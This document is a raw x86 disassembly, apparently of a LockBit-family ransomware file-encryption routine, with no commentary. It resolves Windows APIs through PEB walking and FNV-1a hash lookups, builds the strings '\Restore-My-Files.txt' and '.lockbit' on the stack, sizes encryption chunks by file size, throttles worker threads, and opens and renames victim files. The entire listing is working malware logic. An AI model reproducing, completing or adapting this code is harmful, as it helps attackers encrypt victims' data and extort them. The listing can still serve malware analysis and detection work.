cmp edx, 7
jne 0x4a3f39
lea eax, [ebp - 0x1dc]
mov edi, edx
sub eax, ecx
mov esi, ecx
mov dword [ebp - 0x1c], eax
nop
mov ax, word [esi + eax]
cmp ax, word [esi]
jne 0x4a3f39
mov eax, dword [ebp - 0x1c]
add esi, 2
sub edi, 1
jne 0x4a3f20
jmp 0x4a3f95
cmp edx, 5
jne 0x4a4071
lea eax, [ebp - 0x180]
mov edi, edx
sub eax, ecx
mov esi, ecx
mov dword [ebp - 0x1c], eax
mov ax, word [esi + eax]
cmp ax, word [esi]
jne 0x4a3f67
mov eax, dword [ebp - 0x1c]
add esi, 2
sub edi, 1
jne 0x4a3f51
jmp 0x4a3f95
cmp edx, 5
jne 0x4a4071
lea esi, [ebp - 0x18c]
sub esi, ecx
nop dword [eax + eax]
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x4a4071
add ecx, 2
sub edx, 1
jne 0x4a3f80
mov ecx, dword [ebx + 0x24]
mov eax, dword [ebx + 0x20]
test ecx, ecx
jl 0x4a4071
jg 0x4a4046
cmp eax, dword [ebx + 0x3c]
jbe 0x4a4071
test ecx, ecx
jg 0x4a4046
jl 0x4a3fc3
cmp eax, 0x100000
jae 0x4a3fcd
mov ecx, 1
jmp 0x4a405d
test ecx, ecx
jg 0x4a4046
jl 0x4a3fde
cmp eax, 0x600000
jae 0x4a3fe8
mov ecx, 2
jmp 0x4a405d
test ecx, ecx
jg 0x4a4046
jl 0x4a3ff9
cmp eax, 0x3200000
jae 0x4a4003
mov ecx, 4
jmp 0x4a405d
test ecx, ecx
jg 0x4a4046
jl 0x4a4014
cmp eax, 0x6400000
jae 0x4a401e
mov ecx, 5
jmp 0x4a405d
test ecx, ecx
jg 0x4a4046
jl 0x4a402b
cmp eax, 0x1f400000
jae 0x4a4032
mov ecx, 6
jmp 0x4a405d
test ecx, ecx
jg 0x4a4046
jl 0x4a403f
cmp eax, 0x80000000
jae 0x4a4046
mov ecx, 7
jmp 0x4a405d
cmp ecx, 4
jg 0x4a4058
jl 0x4a4051
test eax, eax
jae 0x4a4058
mov ecx, 8
jmp 0x4a405d
mov ecx, 9
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x14]
shl dword [ebx + 0x2c], cl
call fcn.0043ef90
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], edx
push 0x20
push ebx
call dword [0x4fba5c]
mov ecx, dword [ebx + 0x2c]
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov dword [ebp - 0xc], 0
test ecx, ecx
je 0x4a40fd
mov eax, dword [ebp - 0x20]
lea esi, [ebx + 0x70]
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
push 0x10
lea eax, [esi - 0x14]
mov dword [esi - 0x20], 1
push ebx
push eax
call fcn.0040d7a0
mov eax, dword [ebp - 0x24]
add esp, 0xc
mov dword [esi], eax
mov dword [esi + 4], edi
mov ecx, dword [ebx + 0x3c]
mov dword [esi + 0xc], ecx
call fcn.004bca70
mov dword [esi + 8], eax
test eax, eax
je 0x4a4997
mov ecx, dword [ebp - 0x34]
and ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x14]
add dword [ebp - 0x24], ecx
adc edi, eax
mov eax, dword [ebx + 0x48]
inc eax
add esi, 0x30
mov dword [ebx + 0x48], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebx + 0x2c]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, ecx
jb 0x4a40a0
xor edi, edi
test ecx, ecx
je 0x4a4142
lea esi, [ebx + 0x7c]
nop word [eax + eax]
push 0
lea eax, [esi - 0xc]
push eax
push dword [esi]
lea eax, [esi - 0x28]
push dword [esi - 4]
push eax
lea eax, [esi - 0x2c]
push eax
push 0
push 0
push dword [ebx + 0x30]
call fcn.00414c20
call eax
test eax, eax
js 0x4a49db
inc edi
add esi, 0x30
cmp edi, dword [ebx + 0x2c]
jb 0x4a4110
mov ecx, 1
lea edx, [ebx + 0x48]
mov eax, ecx
lock cmpxchg dword [edx], ecx
cmp eax, 1
jne 0x4a41c3
movzx edi, word [ebx + 0x34]
mov eax, dword [ebx + 0x30]
add edi, 0x10
mov ecx, edi
mov dword [ebp - 0x34], eax
call fcn.004bca70
mov esi, eax
test esi, esi
je 0x4a41c3
movzx ecx, word [ebx + 0x34]
push ecx
push dword [ebx + 0x38]
lea ecx, [esi + 0xc]
push ecx
call fcn.0040d7a0
movzx eax, word [ebx + 0x34]
add esp, 0xc
mov dword [esi + 8], eax
xorps xmm0, xmm0
lea eax, [ebp - 0x2c8]
mov byte [esi], 0
mov dword [esi + 4], 0
push 0xa
push edi
push esi
push eax
push dword [ebp - 0x34]
movlpd qword [ebp - 0x2c8], xmm0
call fcn.00414b30
call eax
mov ecx, esi
call fcn.004bced0
or eax, 0xffffffff
lea ecx, [ebx + 0x48]
lock xadd dword [ecx], eax
jne 0x4a4235
push 0x20
push 0
push ebx
call fcn.0040d020
mov eax, dword [ebx + 0x2c]
add esp, 0xc
xor edi, edi
test eax, eax
je 0x4a4214
lea esi, [ebx + 0x78]
nop dword [eax]
mov ecx, dword [esi]
call fcn.004bced0
mov eax, dword [ebx + 0x2c]
lea esi, [esi + 0x30]
inc edi
cmp edi, eax
jb 0x4a41f0
test eax, eax
je 0x4a4214
lock inc dword [0x4fbcb0]
lock dec dword [0x4fbc70]
mov eax, dword [ebx + 0x30]
test eax, eax
je 0x4a4223
push eax
call fcn.00411330
call eax
lea eax, [ebx + 0x34]
push eax
call fcn.004131c0
call eax
mov ecx, ebx
call fcn.004bced0
mov eax, 1
lock xadd dword [0x4fbc70], eax
inc eax
cmp eax, 0x3e8
jle 0x4a43a2
nop
mov ebx, dword [0x4f3810]
test ebx, ebx
jne 0x4a42e9
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 4], eax
mov edx, eax
mov dword [ebp - 0x14], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4a42d0
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x4a4298
cmp eax, 0xa3e6f6c3
je 0x4a4a1f
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 4]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 0x14], ecx
cmp eax, edx
je 0x4a42e1
cmp dword [ecx + 0x18], 0
jne 0x4a4276
xor ebx, ebx
mov dword [0x4f3810], ebx
mov eax, dword [0x4f3774]
test eax, eax
jne 0x4a438e
test ebx, ebx
je 0x4a4387
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x4a4387
xor ecx, ecx
mov dword [ebp - 0x14], ecx
cmp dword [eax + 0x18], ecx
je 0x4a4387
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4a4375
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4a4340
mov ecx, dword [ebp - 0x14]
cmp edi, 0x89eabb08
je 0x4a4a2a
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
inc ecx
add eax, 4
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x4a4330
xor eax, eax
mov dword [0x4f3774], eax
push 1
call eax
cmp dword [0x4fbc70], 0x2bc
jge 0x4a4250
mov eax, dword [ebp + 0xc]
push 0x20a
push 0
add dword [eax], 1
adc dword [eax + 4], 0
lea eax, [ebp - 0x4f8]
push eax
call fcn.0040d020
mov edx, dword [ebp - 0x3c]
add esp, 0xc
xor ecx, ecx
mov eax, edx
test edx, edx
je 0x4a43e8
cmp word [edx], cx
je 0x4a43dc
lea eax, [eax + 2]
inc ecx
cmp word [eax], 0
jne 0x4a43d2
cmp ecx, 0x104
jg 0x4a4c97
lea eax, [ecx + ecx]
push eax
push edx
lea eax, [ebp - 0x4f8]
push eax
call fcn.0040d7a0
mov ebx, dword [0x4f377c]
add esp, 0xc
test ebx, ebx
jne 0x4a4495
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 4], eax
mov edx, eax
mov dword [ebp + 0xc], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4a447c
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x4a4444
cmp eax, 0x8ec4c73b
je 0x4a4a47
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp + 0xc], ecx
cmp eax, edx
je 0x4a448d
cmp dword [ecx + 0x18], 0
jne 0x4a4422
xor ebx, ebx
mov dword [0x4f377c], ebx
mov eax, dword [0x4fbcb4]
test eax, eax
jne 0x4a453e
test ebx, ebx
je 0x4a4537
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x4a4537
xor ecx, ecx
mov dword [ebp + 0xc], ecx
cmp dword [eax + 0x18], ecx
je 0x4a4537
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4a4525
nop dword [eax]
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4a44f0
mov ecx, dword [ebp + 0xc]
cmp edi, 0xa30775f0
je 0x4a4a52
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
inc ecx
add eax, 4
mov dword [ebp + 0xc], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x4a44d5
xor eax, eax
mov dword [0x4fbcb4], eax
lea ecx, [ebp - 0x4f8]
push ecx
call eax
xor ecx, ecx
mov dword [ebp - 0x258], 0x52005c
lea eax, [ebp - 0x4f8]
mov dword [ebp - 0x254], 0x730065
mov edx, 0x73
mov dword [ebp - 0x250], 0x6f0074
mov dword [ebp - 0x24c], 0x650072
mov dword [ebp - 0x248], 0x4d002d
mov dword [ebp - 0x244], 0x2d0079
mov dword [ebp - 0x240], 0x690046
mov dword [ebp - 0x23c], 0x65006c
mov dword [ebp - 0x238], 0x2e0073
mov dword [ebp - 0x234], 0x780074
mov dword [ebp - 0x230], 0x74
cmp word [ebp - 0x4f8], cx
je 0x4a45da
nop dword [eax + eax]
lea eax, [eax + 2]
inc ecx
cmp word [eax], 0
jne 0x4a45d0
lea eax, [ecx + 0x16]
cmp eax, 0x104
ja 0x4a4c97
push 0x2c
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x4f8]
lea eax, [eax + ecx*2]
push eax
call fcn.0040d7a0
mov ebx, dword [0x4f3810]
add esp, 0xc
test ebx, ebx
jne 0x4a46a3
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 4], eax
mov edx, eax
mov dword [ebp + 0xc], ecx
nop dword [eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4a468a
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x4a4652
cmp eax, 0xa3e6f6c3
je 0x4a4a6f
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp + 0xc], ecx
cmp eax, edx
je 0x4a469b
cmp dword [ecx + 0x18], 0
jne 0x4a4630
xor ebx, ebx
mov dword [0x4f3810], ebx
mov eax, dword [0x4fbbb0]
test eax, eax
jne 0x4a4745
test ebx, ebx
je 0x4a473e
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x4a473e
xor ecx, ecx
mov dword [ebp + 0xc], ecx
cmp dword [eax + 0x18], ecx
je 0x4a473e
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4a472c
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4a46f7
mov ecx, dword [ebp + 0xc]
cmp edi, 0x2a8ff425
je 0x4a4a7a
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
inc ecx
add eax, 4
mov dword [ebp + 0xc], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x4a46e3
xor eax, eax
mov dword [0x4fbbb0], eax
lea ecx, [ebp - 0x4f8]
push ecx
call eax
cmp eax, 0xffffffff
jne 0x4a4c97
xor eax, eax
mov dword [ebp - 0x218], 0x6c002e
mov ecx, 0x6050
mov dword [ebp - 0x214], 0x63006f
mov dword [ebp - 0x210], 0x62006b
mov dword [ebp - 0x20c], 0x740069
mov word [ebp - 0x208], ax
call fcn.004bca70
mov esi, eax
test esi, esi
je 0x4a4c97
xor ecx, ecx
lea eax, [ebp - 0x4f8]
cmp word [ebp - 0x4f8], cx
je 0x4a47ba
nop dword [eax]
lea eax, [eax + 2]
inc ecx
cmp word [eax], 0
jne 0x4a47b0
lea edi, [ecx + ecx]
lea ecx, [edi + 0x14]
call fcn.004bca70
mov ebx, eax
mov dword [ebp + 0xc], ebx
test ebx, ebx
je 0x4a4c90
push edi
lea eax, [ebp - 0x4f8]
push eax
push ebx
call fcn.0040d7a0
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x12
push eax
lea eax, [ebx + edi]
push eax
call fcn.0040d7a0
add esp, 0xc
lea edi, [esi + 0x34]
push 0
push 0
push edi
push ebx
call fcn.00414950
call eax
mov ecx, dword [ebp + 0xc]
mov bl, al
call fcn.004bced0
test bl, bl
je 0x4a4c90
xor ebx, ebx
mov dword [esi + 0x48], 1
push ebx
push ebx
push 0x40
push 2
push ebx
push 0x80
mov eax, 0xfff0
xorps xmm0, xmm0
add word [edi], ax
lea eax, [ebp - 0x174]
push ebx
push eax
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0x298], edi
push eax
lea edi, [esi + 0x30]
mov dword [ebp - 0x2a0], 0x18
push 0x10003
push edi
mov dword [ebp - 0x29c], 0
mov dword [ebp - 0x294], 0x40
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0
movlpd qword [ebp - 0x174], xmm0
call fcn.00414a40
call eax
test eax, eax
jns 0x4a4915
cmp eax, 0xc0000022
jne 0x4a4a97
lea ecx, [ebp - 0x4f8]
call fcn.00459760
cmp eax, 1
je 0x4a48d0
lea ecx, [ebp - 0x4f8]
call fcn.004be9f0
cmp eax, 1
jne 0x4a4a97
cmp ebx, 2
jge 0x4a4a97
push 0
push 0
push 0x40
push 2
push 0
push 0x80
push 0
lea eax, [ebp - 0x174]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x2a0]
movlpd qword [ebp - 0x174], xmm0
push eax
push 0x10003
push edi
inc ebx
call fcn.00414a40
call eax
test eax, eax
js 0x4a48a1
add word [esi + 0x34], 0x10
lea ebx, [esi + 0x34]
mov eax, dword [0x4e5520]
push 0x1e
mov dword [ebp - 0x278], eax
lea eax, [ebp - 0x278]
push 8
push eax
lea eax, [ebp - 0x174]
mov dword [ebp - 0x274], esi
push eax
push dword [edi]
call fcn.00414b30
call eax
test eax, eax
jns 0x4a4b0e
lea eax, [esi + 0x48]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
jne 0x4a4c97
push 0x20
push 0
push esi
call fcn.0040d020
mov eax, dword [esi + 0x2c]
add esp, 0xc
test eax, eax
je 0x4a4c7a
lea ebx, [esi + 0x78]
xor edi, edi
nop
mov ecx, dword [ebx]
call fcn.004bced0
mov eax, dword [esi + 0x2c]
lea ebx, [ebx + 0x30]
inc edi
cmp edi, eax
jb 0x4a4980
jmp 0x4a4c62
or eax, 0xffffffff
lea edx, [ebx + 0x48]
lock xadd dword [edx], eax
jne 0x4a4cac
push 0x20
push 0
push ebx
call fcn.0040d020
mov eax, dword [ebx + 0x2c]
add esp, 0xc
xor edi, edi
test eax, eax
je 0x4a3044
lea esi, [ebx + 0x78]
mov ecx, dword [esi]
call fcn.004bced0
mov eax, dword [ebx + 0x2c]
lea esi, [esi + 0x30]
inc edi
cmp edi, eax
jb 0x4a49c4
jmp 0x4a3032
or eax, 0xffffffff
lea edx, [ebx + 0x48]
lock xadd dword [edx], eax
jne 0x4a4cac
push 0x20
push 0
push ebx
call fcn.0040d020
mov eax, dword [ebx + 0x2c]
add esp, 0xc
xor edi, edi
test eax, eax
je 0x4a3044
lea esi, [ebx + 0x78]
mov ecx, dword [esi]
call fcn.004bced0
mov eax, dword [ebx + 0x2c]
lea esi, [esi + 0x30]
inc edi
cmp edi, eax
jb 0x4a4a08
jmp 0x4a3032
mov eax, dword [ebp - 0x14]
mov ebx, dword [eax + 0x18]
jmp 0x4a42e3
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x4a4389
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax + 0x18]
jmp 0x4a448f
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x4a4539
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax + 0x18]
jmp 0x4a469d
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x4a4740
mov dword [edi], 0
lea eax, [esi + 0x48]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
jne 0x4a4c97
push 0x20
push 0
push esi
call fcn.0040d020
mov eax, dword [esi + 0x2c]
add esp, 0xc
test eax, eax
je 0x4a4af7
lea ebx, [esi + 0x78]
xor edi, edi
nop dword [eax + eax]
mov ecx, dword [ebx]
call fcn.004bced0
mov eax, dword [esi + 0x2c]
lea ebx, [ebx + 0x30]
inc edi
cmp edi, eax
jb 0x4a4ad0
lea edi, [esi + 0x30]
test eax, eax
je 0x4a4af7
lock inc dword [0x4fbcb0]
lock dec dword [0x4fbc70]
mov eax, dword [edi]
test eax, eax
je 0x4a4b05
push eax
call fcn.00411330
call eax
lea eax, [esi + 0x34]
push eax
jmp 0x4a4c89
mov ecx, dword [ebp + 8]
xorps xmm0, xmm0
mov eax, dword [ebp - 0x30]
test ecx, ecx
mov edx, dword [0x4fbca8]
cmovne eax, ecx
mov dword [esi + 0x20], edx
mov dword [ebp - 0x30], eax
xor ecx, ecx
mov dword [esi + 0x28], eax
xor eax, eax
add edx, dword [ebp - 0x30]
mov dword [esi + 0x24], ecx
adc ecx, eax
movlpd qword [ebp - 0x2d0], xmm0
sub edx, 1
push 0x14
sbb ecx, eax
neg dword [ebp - 0x30]
push 8
adc eax, eax
and edx, dword [ebp - 0x30]
neg eax
mov dword [ebp + 8], edx
and ecx, eax
mov dword [ebp - 0x280], edx
lea eax, [ebp - 0x280]
mov dword [ebp - 0x27c], ecx
push eax
lea eax, [ebp - 0x2d0]
push eax
push dword [edi]
call fcn.00414b30
call eax
test eax, eax
jns 0x4a4bc7
lea eax, [esi + 0x48]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
jne 0x4a4c97
push 0x20
push 0
push esi
call fcn.0040d020
mov eax, dword [esi + 0x2c]
add esp, 0xc
test eax, eax
je 0x4a4c7a
lea ebx, [esi + 0x78]
xor edi, edi
mov ecx, dword [ebx]
call fcn.004bced0
mov eax, dword [esi + 0x2c]
lea ebx, [ebx + 0x30]
inc edi
cmp edi, eax
jb 0x4a4bb0
jmp 0x4a4c62
mov eax, dword [ebp + 8]
lea edx, [esi + 0x50]
mov dword [esi + 0x3c], eax
lea ecx, [edx + 0x20]
mov eax, dword [0x4fbca8]
push 0
mov dword [esi + 0x2c], 0
push ecx
mov dword [edx + 0x2c], eax
mov eax, dword [0x4fbc84]
mov dword [edx + 0x28], eax
mov dword [edx], 3
mov dword [ecx], 0
mov dword [ecx + 4], 0
push dword [edx + 0x2c]
push eax
lea eax, [edx + 4]
push eax
push edx
push 0
push 0
push dword [edi]
call fcn.00414d10
call eax
test eax, eax
jns 0x4a4c97
lea eax, [esi + 0x48]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
jne 0x4a4c97
push 0x20
push 0
push esi
call fcn.0040d020
mov eax, dword [esi + 0x2c]
add esp, 0xc
test eax, eax
je 0x4a4c7a
lea ebx, [esi + 0x78]
xor edi, edi
nop dword [eax]
mov ecx, dword [ebx]
call fcn.004bced0
mov eax, dword [esi + 0x2c]
lea ebx, [ebx + 0x30]
inc edi
cmp edi, eax
jb 0x4a4c50
lea edi, [esi + 0x30]
lea ebx, [esi + 0x34]
test eax, eax
je 0x4a4c7a
lock inc dword [0x4fbcb0]
lock dec dword [0x4fbc70]
mov eax, dword [edi]
test eax, eax
je 0x4a4c88
push eax
call fcn.00411330
call eax
push ebx
call fcn.004131c0
call eax
mov ecx, esi
call fcn.004bced0
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, esi
call fcn.004bced0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8